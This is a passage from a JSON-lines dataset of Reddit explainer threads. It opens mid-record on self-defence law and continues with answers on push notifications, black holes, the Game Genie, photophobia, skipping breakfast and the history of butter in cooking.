deadly force. Basically you don't have time to confirm a gun is loaded or a knife isn't a plastic fake one. If someone appears to have the means, opportunity and intent to do deadly harm, deadly force to prevent that from happening to you will most often be justified. ", "It is called natural selection.  Natural selection would happen and Darwin would be proud."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://youtu.be/PuOXaav7qZU"], ["http://youtu.be/zjP39MS_GYk"], [], ["http://lawcomic.net/guide/?p=1310"], [], ["http://www.cnn.com/2013/09/08/justice/colorado-teen-accidental-shooting/"], [], [], [], [], [], [], [], ["http://m.palmbeachpost.com/news/news/crime-law/man-who-killed-suburban-boca-teen-who-knocked-on-d/nL9rW/"], ["https://www.youtube.com/watch?v=t5OCWjIwdgc", "https://www.youtube.com/watch?v=fNs_J16CJ6M", "https://www.youtube.com/watch?v=94VkvSMctYQ"], ["https://www.youtube.com/watch?v=lWvv7cPtFkY"], [], [], [], [], [], [], ["http://www.cnn.com/2013/09/08/justice/colorado-teen-accidental-shooting/"], ["http://www.bbc.co.uk/newsbeat/29404364"], [], [], [], ["http://youtu.be/zpjAvh6TftM"], [], [], [], [], [], ["http://youtu.be/0RO_HQMvxLo?t=8s"], ["http://youtu.be/5dnwB2E3gwY"], [], [], ["http://www.huffingtonpost.com/2013/11/22/marvell-weaver-knockout-shot_n_4323723.html", "https://www.youtube.com/watch?v=gzptOuQ0M9U"], [], [], [], ["https://www.youtube.com/watch?v=8xSNiPx791A"], [], [], [], [], [], ["http://www.liveleak.com/view?i=79a_1407779317"], [], [], [], [], [], []]}
{"q_id": "7ny2i2", "title": "how does my phone constantly check for notifications from my apps without eventually running out of my monthly data?", "selftext": "I have lots of apps and whenever someone messages me I get a notification almost instantly which makes me wonder how my phone can check without using any significant amount of data over the month.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7ny2i2/eli5_how_does_my_phone_constantly_check_for/", "answers": {"a_id": ["ds5cmet", "ds5cy4h", "ds5umpy"], "score": [2, 11, 2], "text": ["Do you have an iPhone or Android?", "While polling for updates is fairly lightweight, many apps, such as messaging apps, use [push notifications](_URL_0_).  A push notification is just what it sounds like - rather than the app trying to pull data from a server to see if anything has changed, it just sits there and waits for the server to push out an announcement that there's something going on.\n\nBasically, your phone is getting a \"phone call\" from the service.", "Typically when you receive a notification, it is not because the app periodically checks the server for updates; push notifications are used instead. The app's server sends the data to a server owned by your phone manufacturer, such as [Apple Push Notification Service](_URL_1_) if iPhone or (I think) [Google Cloud Messaging](_URL_0_) if Android. The server then sends the data to your phone, so it can display the notification. This way, your phone does not transmit data unless there is actually a notification."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Push_Notification"], ["https://developers.google.com/cloud-messaging/", "https://developer.apple.com/library/content/documentation/NetworkingInternet/Conceptual/RemoteNotificationsPG/APNSOverview.html"]]}
{"q_id": "31tfa3", "title": "why do some sporting events start at such random times, for example duke vs. wisconsin started at 9:18, why not 9:00 or 9:30?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/31tfa3/eli5_why_do_some_sporting_events_start_at_such/", "answers": {"a_id": ["cq4uh2i", "cq4y19m", "cq5173f"], "score": [30, 3, 23], "text": ["This is to give the pre show broadcasting team to have time to set up and introduce the game. Additionally, this is a marketing scheme for organizers to earn more money as you tune in at 9:00 PM with a bucket of pop corn and watch 18 minutes of advertisements. ", "Time for pregame setup on the broadcast and anthems. Most baseball and hockey games start just after the hour.", "If you only watch sports on TV, the times may seem random. If you go to the event, you will see why the times are so odd. Since baseball just started the season, I will do that, and you can see the other sports for yourself. \n\nThe start time of the game will be when the first pitch of the game is thrown. That is when the game starts. Thing is, there are other things that happen before that. The National Anthem has to be sung, so you push back the start of the game to say 7:02 pm EST. Well, you still got to allow time for the exchange of line-up cards, so the game won't start until 7:04. Add in a ceremonial first pitch, a couple of introductions of returning players, the current starting line-up, and a couple pre-game promotions, and you will have a 7:18 first pitch. \n\nSo, you ask, why not start the events at 6:42 and start the game at the top of the hour? Because the people that plan the event want people to arrive at the top of the hour and watch all the pre-game stuff. The TV stations fill the extra time with commercials and commentary. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2pide7", "title": "If the biggest black hole is estimated to be ~40,000,000,000 solar masses, does that mean that at one point in time, there was a star that was 40 billion times more massive than the sun?", "selftext": "[Wikipedia](_URL_0_) says that the most massive black hole, S5 0014+81, contains the mass of ~40 billion suns.\n\nEdit: Also, do we have any idea how big (in terms of size as opposed to mass) this black hole was when it was a star?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2pide7/if_the_biggest_black_hole_is_estimated_to_be/", "answers": {"a_id": ["cmx1ape"], "score": [25], "text": ["Short answer: no, the supermassive black holes (SMBHs) started out smaller and grew over time.\n\nHowever, what they started as is an unsolved mystery in astronomy at the moment. We don't yet understand what seeded the SMBHs or quite understand how they've gotten so big.\n\nWe have observations of quasars (which are SMBHs with lots of accretion emitting light) showing that these things grew to be over a billion solar masses within a billion years of the beginning of the universe.\n\nI think the problem is, if you start with a normal black hole (less than 100 or so solar masses) from a supernova, even if it's constantly accreting as fast as possible (Eddington limit) it's tough to get it from 10^2 to 10^9 solar masses fast enough.\n\nOne way around that is to start your seed BH much bigger. There's been some more exotic theories involving direct collapses into black holes of material much larger than an individual star, which you can read a bit about on [Wikipedia](_URL_0_).\n\nSMBH growth is outside of my main research though, so maybe someone more up to date in the field can share the current consensus."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/List_of_most_massive_black_holes"], "answers_urls": [["http://en.wikipedia.org/wiki/Supermassive_black_hole#Formation"]]}
{"q_id": "9exoon", "title": "What's the difference between photoelectric effect and photovoltaic effect?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9exoon/whats_the_difference_between_photoelectric_effect/", "answers": {"a_id": ["e5s8pt4"], "score": [46], "text": ["The photoelectric effect refers to emission of electrons from one material into another, typically into a vacuum, although air photoemission (into a gas) or internal photoemission (from one solid through a barrier into another solid) also exist. The defining characteristic of photoemission is that the electrons are kicked into an unbound state and they are free to leave the material.\n\nIn the photovoltaic effect, electrons are excited but they remain in a bound state. These excited electrons do not leave the material but they move around in it until they find a place they can fall back into to release their energy. This can be a hole left in the electronic state of the material by the same or another elevtron after it was excited and moved away, but it can also be a contact with a lower lying energy level. In the later case, the electrons and holes piling up at the contacts generate a voltage and that's the photovoltaic effect."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "22arum", "title": "why do lobsters have two different shaped claws?", "selftext": "In response to the picture of the 23.3 pound lobster that was posted, I have always wondered why lobsters have one claw that is seemingly more narrow and the majority of the teeth make contact, whereas the other claw is rounded and really only makes contact at the tip.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22arum/eli5_why_do_lobsters_have_two_different_shaped/", "answers": {"a_id": ["cgl07tu", "cgl24hy"], "score": [2, 2], "text": ["One is for cutting and the other is for crushing.", "From a mechanical standpoint, the narrow claw would be better at grabbing and manipulating things because it would be easier to maneuver and has larger area that can grab a hold. The fatter, curved claw is better for crushing, because the fat shape would stand up better to the force needed to crush, and the small contact area concentrates the force to better break the target."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1qas85", "title": "A submarine releases an air bubble and a pingpong ball. Which one would reach the surface first ?", "selftext": "The pingpong ball and the air bubble are the same size", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qas85/a_submarine_releases_an_air_bubble_and_a_pingpong/", "answers": {"a_id": ["cdaylyw", "cdb08v9"], "score": [2, 8], "text": ["Under the assumption that air wouldn't dissolve in water, ping pong ball will be faster because water bubble of the same size underwater has much higher specific gravity because air is compressed under the pressure while ping pong ball has normal pressure air in it. However I think depending on the depth air bubble may dissolve in water before it will reach the surface.", "At low Reynolds number (basically a measure of how important viscosity is, lower Reynolds number means viscosity is more important, in this case a larger diameter bubble/ball will give a higher Reynolds number), the bubble will win over any significant depth.\n\nAssuming the mass of the ball is negligible* (see edit) and the internal pressure of the ball is equal to the hydrostatic pressure at the release depth, they will start to rise at approximately the same speed. There will be some variation due to boundary layer effects, which I *think* will give a tiny advantage to the ping pong ball.\n\nAlmost immediately after release, the bubble will become more streamlined. In general, it will become more flattened in the front and more tapered in the back, but the exact shape is dependent on many factors including Reynolds number and surface tension (one of very, very few cases where surface tension actually matters!). This shape will give a slight advantage to the bubble, maybe enough to overcome the presumed advantage the ping pong ball has in the boundary layer department.\n\nAs the bubble and ball start to move up significantly, the hydrostatic pressure will decrease. The bubble has no shell to contain it, so it will grow more quickly than the ball, and due to the scaling involved (buoyant force proportional to r^3, drag proportional to r^2), will start to pull ahead. At some point the ping pong ball will pop due to the pressure differential (higher pressure inside than out), and the released quantity of air will probably disperse into many smaller bubbles, which occupy the same total volume but travel more slowly than the single large bubble.\n\nAt higher Reynolds number (basically caused by larger bubbles/balls), the air bubble will break apart into many smaller bubbles, giving an advantage to the ping pong ball over small changes in depth. Over large changes in depth, one or more of the bubbles may reach the surface first, or before the ping pong ball pops. It's hard to guess.\n\nEdit: Factoring in the mass of the ping pong ball, it has an initial settling velocity of -0.310 m/s, and the bubble has a settling velocity of -.336 m/s. The bubble therefore has a significant initial advantage, and this advantage only grows as streamlining and expansion become factors."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4vb5pm", "title": "how did game genie manipulate so many games with so many cheats?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4vb5pm/eli5_how_did_game_genie_manipulate_so_many_games/", "answers": {"a_id": ["d5wysnj", "d5wzrlu", "d5x0f8l", "d5x1p6t"], "score": [11, 5, 3, 46], "text": ["Any computer system or video game console has data handled by memory addresses, where ROM and RAM are numbered sequentially.  For example, Mario's number of coins might sit at say, 0x34FF, which is a hex value that points to RAM.\n\nSince the Game Genie sits between the cartridge and the system, it can effectively spoof data at any address, so that when the CPU reads it, it responds differently.  It can be as simple as reading a value or changing an instruction and having a new behavior.  Game Genie codes are easy ways to understand HEX values that you enter.\n\nEx: 34FF FFFF might set Mario's coins to 255, or 0134 0124 might change an Add instruction to a Jump or Subtract.", "My first version was really complicated. Let us make this easier.\n\nLet us say you're playing Mario and you die. The NES goes, oh no he died! The program I am running says if you die take off a life. But keeping track of lives is not my job. But I can figure out how many lives you should have if you can tell me how many lives Mr. Cartridge. \n\nMr. Cartridge goes, I don't really know how to calculate the lives, but I can tell you that on the page of the book where I keep all the lives I have I last wrote down 3. So the answer is that he has 3 lives.\n\nNES goes, great 3 lives! Okay so I'm supposed to take off 1 life everytime you die. Mr. Cartridge, please put 2 lives down on the page of your book where you keep lives.\n\nThanks, Mr. NES!\n\nNow there's a Genie and he's deceitful. Mr. NES goes, he died again, but I don't keep track of lives, please tell me how many lives. The Genie is in between Mr. NES and the Cartridge and can prevent the two from talking to each other, but he does know that when Mr. NES asks for number of lives, his pages are written in permanent ink. So instead of the message getting to the Mr. Cartridge it goes to Genie who has a page that says 99. He gives it back to Nintendo. Nintendo goes okay I have no memory of what happened before so I will accept this answer. Please set the number of lives to 98. And passes that message along to the Genie.\n\nBut the Genie has his written in permanent ink. He tries to change it but can't, it will always be 99.", "the game genie just acted as a 'data middle man' who let most data past. the only data it changed was that data specified by a properly entered code. the codes contain two basic parts, one part is an address that tells \"where\" in the game to change something and the other is \"what\" to change. so like part of the code would be like saying \"how much money for p1\" and the other part would say \"a LOT of money fool\".\n\nedit: completely avoided being technical. maybe too much. the 5 year olds in my family aren't that bright.", "The cartridge contains the game's code and data in ROM (read-only memory). It's essentially an unmodifiable program file in physical form. When the console is turned on, it starts asking the cartridge for instructions to execute. It's like sending mail back and forth. A small part of the exchange can look something like this, depending on what is being accessed:\n\n >  Console: please send me byte number 10000.\n > \n >  Cartridge: that byte is 42.\n > \n >  Console: please send me byte number 12345.\n > \n >  Cartridge: that byte is 100.\n > \n >  Console: please send me byte number 12346.\n > \n >  Cartridge: that byte is 123.\n\nThe Game Genie sits between the console and the cartridge and can change some of the data. A code specifies which data is changed to what. You might use a code that says \"change byte number 12345 to 69\". Then the Game Genie still lets most data through unmodified, but hijacks requests for byte number 12345 and sends its own value back.\n\n >  Console: please send me byte number 10000.\n > \n >  Cartridge: that byte is 42.\n > \n >  Console: please send me byte number 12345.\n > \n >  Game Genie: that byte is **69**.\n > \n >  Console: please send me byte number 12346.\n > \n >  Cartridge: that byte is 123.\n\nUsing this, you can change anything much like a small [ROM hack](_URL_1_). Say, in a game where you have a finite number of lives, there must be an instruction somewhere in ROM that decrements your number of lives when you die. When you enter a code that changes the instruction the console sees to a [no-operation](_URL_0_) instruction, you never lose a life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/NOP", "https://en.wikipedia.org/wiki/ROM_hacking"]]}
{"q_id": "eqckim", "title": "How do astronauts keep their helmets from fogging up?", "selftext": "I remember my dad asking that when Apollo 11 came out when I was a kid, and now I still don't have a definite answer.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/eqckim/how_do_astronauts_keep_their_helmets_from_fogging/", "answers": {"a_id": ["fermw1y", "fes1t3u"], "score": [33, 6], "text": ["The box on the back of the suit isn't just air supply. It's called the personal life support system and it constantly circulates air through the suit, regulating gas content, temperature and humidity. It's essentially a portable HVAC system. The constant circulation removes excess humidity that could cause fogging.", "NASA discovered the problem in their early spacewalks in the Gemini Program. They were able to recreate it in a vacuum chamber on the ground, and soon solved it by providing an anti-fog spray that astronauts would apply to the inside of the helmet just before a spacewalk. I'm not sure what chemical NASA used, but various ones work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "15cbp2", "title": "Why is it that most modern religions have austere, simple clothes while (usually extinct) tribal ones have lots of ornaments?", "selftext": "Furthermore, the higher-ups often wear robes and things that are shiny and detailed, though not ornamented. Or you have buddhists where everyone up to the Dalai Lama wears plain red. Is it climate? Places where you can be comfortable in a loincloth going for ornaments rather than fancy coverings?\n\nI'm probably revealing my huge ignorance here, but the original idle thought was,\n\n*Why do some religions go for simple clothes while others go fancy/lots of ornaments?*", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/15cbp2/why_is_it_that_most_modern_religions_have_austere/", "answers": {"a_id": ["c7l73ok", "c7l7m1a"], "score": [8, 5], "text": ["Do you think you can clarify where you're getting this assumption? Because when I look at [a lot of modern religions](_URL_2_), I see similar levels of ornamentation. \"Tribal\" people's religious ornaments may stand out more glaringly to you, but that could just be because you're used to the ornamentation used by your own culture. It's more familiar, so it doesn't seem as strange to you. I'm sure an African shaman from 2,000 BC would look at a modern dress that an average Christian woman wears to sunday mass and think its equally bizarre. Your average businessman wears a white shirt that opens from the front with a cloth fringe and a long strip of colored cloth tied in an elaborate knot around his neck. The fact that we consider [this](_URL_0_) to be *normal* while [this](_URL_1_) is considered elaborate and ritualistic is purely a function of cultural bias.", "What \"modern religions\" are you thinking of that have austere clothing?  Though some do, some have ornamented clothing.  The leader of the largest religious denomination in the world, the Pope, wears an extremely ornate outfit.\n\nedit: My point is that your samples for \"modern religions\" and \"tribal religions\" may not be accurate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://25.media.tumblr.com/tumblr_m3hr74g7UH1rty4e6o1_400.jpg", "http://www.limbozone.com/img/arts-digital/holy-men/holy-men17.jpg", "http://www.thekooza.com/wp-content/uploads/pope-sunday.jpg"], []]}
{"q_id": "hgzld", "title": "Why is it I can bear the sunlight fine with one eye open, but I have to squint like Mr McGoo with both, if I've been inside? (crosspoint)", "selftext": "Crossposting this in hopes of more people, with better knowledge, having an answer:\n\nI find it odd that if I've been indoors, and I enter the waking world, I can have one eye practically all the way open and be fine. No tearing up. No sun-blindness shock. No problems. But the minute I open the other eye, it's a complete overload, an I go back to my Popeye face? I'm assuming it's just too much for our eyes/brain to process at one shot, but why would that be?\n\nAny takers for a nerdy explanation?\n\nLink to original (I hope...):\n_URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hgzld/why_is_it_i_can_bear_the_sunlight_fine_with_one/", "answers": {"a_id": ["c1vbz4u", "c1vf7i9"], "score": [9, 37], "text": ["So some animals have pupils that dilate independently of each other. Humans do not. So one eye open and one close gives an average intensity that isn't so bright. Both eyes open give a much higher average intensity. While I don't know for sure, I would assume that the other physiological responses you describe as sun shock operate on the same basis. \n\nYou can test this yourself by being in a bright room with a mirror. If you close one eye and look at the pupil of the other, and then open the one eye, you'll notice that the pupil of the eye that was open the whole time will get smaller as the other eye opens, even though there's no change in the light going in that eye.", "**(There's a tl;dr in my self-reply)**\n\nThis is called photophobia. It's particularly severe in some medical conditions (e.g. migraine), but (almost) all of us experience it in the sort of situation you describe, e.g. waking up in a dark room, and immediately going into a bright light.\n\nIt turns out that this whole phenomena is poorly understood. For instance, is photophobia mediated by the usual pain sensing neurons in your body, *or* the neurons that convey visual info to your brain? At first glace, the former is more complicated, since you need a story for how the pain sensing neurons \"find out\" that you're looking at a bright light, and this story will probably involve *some of* the neurons used for vision -- at least the ones in your eye.\n\n~~~~~~~~~~~~~~~~~~~~~~~~\n\nFirst off, a couple of interesting anecdotes (the second one being unreputable, but still fun) to ease us into the topic:\n\n(1) There's a rare condition called Congenital insensitivity to pain (CIP) that selectively effects pain neurons. However, other neuronal functions, like motor control, vision, hearing, cognition, are all (largely?) intact. CIP folks can occasionally feel certain types of pain, though. It's an interesting topic, because these sorts of pain might therefor be mediated by non-pain neurons. Danzigera  &  Willera(, 2005. Pain 117) have a case study of a CIP woman with a headache titled \"Tension-type headache as the unique pain experience of a patient with congenital insensitivity to pain\". In introducing the case, they write that\n\n > Despite partial or total sensory loss for pain, many patients with CIP can experience pain during their life, especially in HSAN I (Dyck, 1993, p. 1069). Such patients can have phantom pain in amputated extremities, lancinating pains due to inflammation within nerves containing actively degenerating fibres, mechanical allodynia in partially denervated areas and stimulus-independent pain that may be of central origin (anonymous reviewer, personal communication). We report the case of a 32-year-old woman with a severe and generalized congenital insensitivity to pain caused by HSAN, who experienced physical pain for the first and unique time in her life shortly after the sudden loss of her brother.\n\nThey don't mention photophobia, here (either in the examples of pain in CIP, or for this woman \"who experienced physical pain for the first and unique time\"). That's *quite* the omission unless CIP people don't experience photophobia. The authors didn't simply ignore or forget about the phenomenon of photophobia, either: They specifically asked if she experienced it during her headache, and she didn't.\n\nIf people with CIP don't experience photophobia, then that strongly suggests that photophobia is mediated by the usual pain sensing neurons in your body, *not* the neurons that convey visual info to your brain.\n\n(2) Someone caliming to have CIP [posted an AMA awhile back](_URL_3_). [I specifically asked about photophobia](_URL_2_), and he said he didn't experience it.\n\n(3) Amini, Digre, and Couldwell's 2006 \"Photophobia in a blind patient: an alternate visual pathway\" (Journal of Neurosurgery, 105)\n\n > In this report, we describe a blind patient with a history of pituitary adenoma and apoplexy who suffered from photophobia. [...] On physical examination, the patient had no light perception in either eye; however, she reported discomfort in her eyes with exposure to light. The discomfort was so severe that the room lights had to be turned off and the windows covered. The patient\u2019s pupils were 9 mm and nonreactive bilaterally.\n\nThis person is completely blind, to the extent that her pupils don't constrict in response to light. This is because she has a big tumor (pituitary adenoma) crunching down on the neurons travelling between the eyes and the brain. Yet, she experiences photosensitivity. Clearly, the usual pathways for sending light info back to the brain are unnecessary for photophobia. They say as much, later.\n\n > The most likely anatomical localization of photophobia is at the site where the visual and pain pathways converge. The signaling pathway for photophobia seems to be anatomically and functionally different from the neural pathway associated with vision. Initially, it was thought that functioning optic and trigeminal nerves were needed for photophobia. However, by demonstrating the presence of light sensitivity in patients with a damaged optic nerve, Custer and Reistad showed that a functioning optic nerve is unnecessary for photophobia symptoms.\n\n > Nonetheless, trigeminal innervation of the eye and brain does play an important role in photophobia. Lebensohn showed that an intact trigeminal nerve is necessary to experience the disorder. Eckhardt and colleagues showed that direct irritation to the trigeminal afferents of the eye surface (cornea and iris) can produce photophobia when those structures are exposed to light. They concluded that surface sensitivity must be present for the disorder to occur. Moreover, direct irritation to a nonocular portion of the ophthalmic branch of the trigeminal nerve can also induce photophobia. These authors injected sodium chloride into the frontalis muscle above the supraorbital margin and concluded that irritation of the trigeminal nerve\u2014anywhere along its course or its ophthalmic division\u2014can produce increased light sensitivity.\n\nSo, it looks like trigeminal innervation is the key. **That's part of an answer to your question: Overload happens, but it doesn't even have to be light from left + light from right eye. It could be light from left eye + irritation of the cornea!**\n\nBut the mystery remains... **how does the trigeminal nerve \"find out\" that you're looking at something bright?**\n\n > In mutated blind mice with near-complete degeneration of rod and cone photoreceptors, most of the nonvision lightregulated functions such as the circadian clock, pupillary light reflex, and photic suppression of melatonin have been retained despite the absence of vision. Recently, Berson, et al., identified unique inner retinal ganglion cells that function as photoreceptors providing photic information to the brain. These authors specifically showed that these retinal ganglion cells provide nonvisual photic information to the circadian systems. [...] Perhaps in patients who have no visual photic perception, as in the patient in the present report, the retinal ganglion cells function as photoreceptors providing the photic signal to the hypersensitized trigeminal system. Although the specific site of interaction between the retinal ganglion cells and the trigeminal system is not known, one possible site can lie at the retinal level where the ophthalmic branch of the trigeminal system provides rich afferent enervations of the choroid and blood vessels of the retina.\n\n~~~~~~~~~~~~~~~~~~~~~~~~\n\nIf photophobia were simply a matter of light intensity, the relationship between light sensitivity and color (e.g. how intense the red vs. green light must be for us to see it) should have the same patterns as the relationship between photophobia and color (e.g. how intense the red vs. green light must be for someone to squint in pain). This also should happen if our normal photoreceptors (rods and cones) are responsible for photophobia.\n\nHowever, photophobia is presumbed to have an evolutionary advantage. Crudely: keeping your retina from getting a sunburn. In this case, photophobia should be greater for lower wavelength (higher frequency) light.\n\nThis was measured in a small 2003 study by Stringham, Fuld, and Wenzel, called \"Action spectrum for photophobia\" (Journal of the Optical Society of America A, 20(10))\n\nAfter accounting for the absorption of light by (non-vision-related) pigments in your eye (which tend to absorb high-frequency/low-wavelength light that can damage tissue), they see a *linear* relationship between wavelength and photophobia: Doing their best adjustments to try and equate things, lower-wavelength (more potentially-damaging light (violets)) light hurts most.\n\n(an interesting aside: in that paper, the authors mention some hypotheses that pupil constriction is related to the pain. That is, you perceive bright light, this causes your pupil to constrict, and rapid constriction might be painful. ...This hypothesis is probably wrong, esp. because of cases of photophobia and unreactive pupils in bind people, but it's interesting to see how creative people were at trying to figure out how the light-insensitive trigeminal system is responding to light.)\n\n~~~~~~~~~~~~~~~~~~~~~~~~\n\nIn this paper [(pdf)](_URL_0_) the authors proport to identify, in rats (in gritty detail), the neuronal link between light perception and pain. Just glancing at it, it looks really interesting. Basically, though, **the link between light and pain pathways probably happens inside the eye.**\n\nIn this paper [(pdf)](_URL_1_) they argue that melanopsin-positive intrinsically photosensitive retinal ganglion cells (ipRGCs) are responsible. These differ from your normal photoreceptors (rods and cones) in that they don't help you see, per se, but instead help influence pupil responses to light and entraining your circadian rhythms to light. It's not a bad argument... (as they reference) people who have lost most of their normal photoreceptors due to retinitis pigmentosa still show photophobia (but people e.g. that have had both of their eyes removed, do not). **Since the normal photorecptors aren't reponsible, it's safe to assume its the ipRGCs.**\n\n"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskReddit/comments/hgwlz/why_is_it_i_can_bear_the_sunlight_with_one_eye/"], "answers_urls": [[], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2860692/pdf/nihms177912.pdf", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2818758/pdf/nihms165638.pdf", "http://www.reddit.com/r/IAmA/comments/e8g5e/ama_a_guy_that_feels_no_physical_pain_due_to_cipa/c165s4r", "http://www.reddit.com/r/IAmA/comments/e8g5e/ama_a_guy_that_feels_no_physical_pain_due_to_cipa/"]]}
{"q_id": "q81rv", "title": "What are the physical consequences of skipping breakfast, and why is it so bad?", "selftext": "As the title says, it beeing considered the most important meal of the day, what happens on a biological level and how does that impact the person throughout the day? Like affecting someone's mood and energy, so on. I pull some crazy hours sometime, going to sleep at late night and waking up almost by the end of the morning, so plenty of times, lunch is my breakfast wich I take it isn't very healthy as well.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/q81rv/what_are_the_physical_consequences_of_skipping/", "answers": {"a_id": ["c3vhxay", "c3vk5xp", "c3vn9aw", "c3vpekc", "c3vptd5"], "score": [43, 10, 20, 2, 2], "text": ["Your body relies on your liver for glucose stores when you don't eat. Realistically, a healthy liver contains about 12-16 hours of glucose in it that your body can use during fast- some sources put it closer to 16, some closer to 12. However, after that, your body relies on a process called gluconeogenesis, where your body produces the glucose it needs to supply the brain's and red blood cells' glucose needs. \n\nWhat does your body break down to make glucose, during gluconeogenesis? The majority of it is amino acids, taken from breaking down your body's muscle (about 60%), and the rest (about 30%) comes from body fat, lactate, and pyruvate from your muscles.\n\nSo, the consequences of skipping breakfast and fasting more than 12 hours include: using up your body's glucose reserve and starting up gluconeogenesis, which largely relies on muscle. This isn't so great, since you want your body to to keep muscle; plus gluconeogenesis produces much less glucose than you need to feel perky (it's just trying to keep your brain and RBCs alive) so you feel tired, have less energy to do work, etc. \n\nWhen you eat breakfast, your body will use that for energy, plus restock your liver for the next night of fasting. Eat breakfast! :)\n\nEdit: this does not mean that with no breakfast, your body is going to start eating itself from the inside out! It simply means that your body is using muscle-derived amino acids as a substrate for gluconeogenesis. You're not going to wake up one day after skipping breakfast for a year and have no muscles left! :) It's simply healthier to have your body use glucose you just ate, rather than go into gluconeogenesis, especially for hormonal reasons (see other comments below). ", "This is an interesting article. Not sure if its completely accurate but does have a relatively large number of references. _URL_0_", "[Leangains](_URL_0_) has a lot of great, and well cited info on the subject. definitely worth your read if you're curious", "There are some schools of thought that contend that it isn't so bad. I am an intermittent faster--there are a lot of different ways of doing this, such as eating normally on day 1, and completely fasting on day 2. The most common form of IF is a 16 hour fast, followed by an 8-hour feeding window. For example, an IF follower would be able to eat from 3 PM to 11 PM, and then fast until the following afternoon (3PM). \n\nThe basic tenants behind IF rest in possible health gains resulting from prolonged dietary restriction (PDR). Previous research has shown beneficial effects on select biomarkers that results from PDR, such as improved insulin sensitivity and resting metabolic rate, and neuroendocrine signaling (see AJCN, 81(1), 69-73). This runs, obviously, in stark contract to modern fitness and nutritional advice, such as the need for breakfast and the health benefits associated with eating 5-6 small meals a day. But the research is there--24 hour calorimetry studies show no thermodynamic advantage to having multiple small meals compared to less-frequent larger ones (Obes Relat Metab Disord. 2001 Apr;25(4):519-28, Eur J Clin Nutr. 1991 Mar;45(3):161-9). Thermogenic response to food depends on the quantity, so an 800 calorie meal would have the same effect as 4 200-calorie ones. \n\nAll that said, I would be remiss to not point out research supporting eating breakfast. It's been found to have beneficial effects on LDL cholesterol, circadian protein synthesis rates, and on cognitive and spatial abilities. At the end of the day, IF is an interesting theory with some evidence for it's benefits, but it's certainly not conclusive and needs more controlled research. It has a lot of followers with people that don't like eating breakfast, as it fits better with their lifestyle. With me, I find myself not being hungry until 2 PM anyway, right around the time I workout. With the limited window, I find myself also unable to snack. To get my healthy nutritional requirements, there is no time to splurge. ", "As a student, should sleep or eating be my priority? It takes an extra 30 minutes to get breakfast for me ever morning, so should I sleep 7:30 a night and get breakfast or sleep 8 hours and eat breakfast at around 10 when I have a break between classes?\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://articles.elitefts.com/articles/nutrition/logic-does-not-apply-part-2-breakfast/"], ["http://www.leangains.com/2010/10/top-ten-fasting-myths-debunked.html"], [], []]}
{"q_id": "cs1hvc", "title": "When and how did butter become ubiquitous with food preparation?", "selftext": "Does it have something to do with availability? It\u2019s just interesting to me so many recipes call for it, yet we have many different options now for cooking.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cs1hvc/when_and_how_did_butter_become_ubiquitous_with/", "answers": {"a_id": ["exd0zjz"], "score": [4], "text": ["Butter isn't at all ubiquitous. The three main classes of fats/oils used in cooking are butter/ghee, animal fats like lard, beef tallow, etc., and vegetable oils. Different regions and cuisines will often predominantly use one of these. For example, Mediterranean cuisines will often use olive oil, northern European will use butter, Indian will use ghee (clarified butter), southern US will use lard, West African palm oil, Chinese lard or rapeseed or peanut oil.\n\nThe perceived dominance of butter comes from a focus on northern European cooking, which is partly Anglophone, and partly from the northern French dominance of *haute cuisine*, including the modern version *nouvelle cuisine*. The regions where butter/ghee is common are the regions where dairying is common, where cattle or sheep or goats are kept for milk. Where fewer such animals were kept (e.g., some cattle or buffalo for traction), the cuisines tended to rely on lard (if pigs were kept) or vegetable oils. Since beef and sheep tallow also depend on the keeping of cattle and sheep, their use in cooking often overlaps with butter/ghee, with the preferred fat varying regionally. Sometimes, fats such as sheep tail fat were the most preferred fat, and sometimes butter. The preference for butter over tallow in France led to the development of margarine in order to make a more butter-like fat from beef tallow (the use vegetable oils in margarine came later; the original version use beef tallow).\n\nThe use of butter in northern European cuisine is ancient, as seen from finds of butter buried in bogs (\"bog butter\", although some of the finds are lard/tallow rather than butter).\n\n\nFurther reading\n\nMore on bog butter: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.newscientist.com/article/mg18124392-400-bog-butter-test/"]]}
